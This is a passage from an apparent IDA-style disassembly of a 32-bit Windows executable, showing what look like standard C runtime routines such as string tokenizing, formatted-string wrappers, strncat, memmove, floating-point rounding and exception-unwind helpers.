1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx 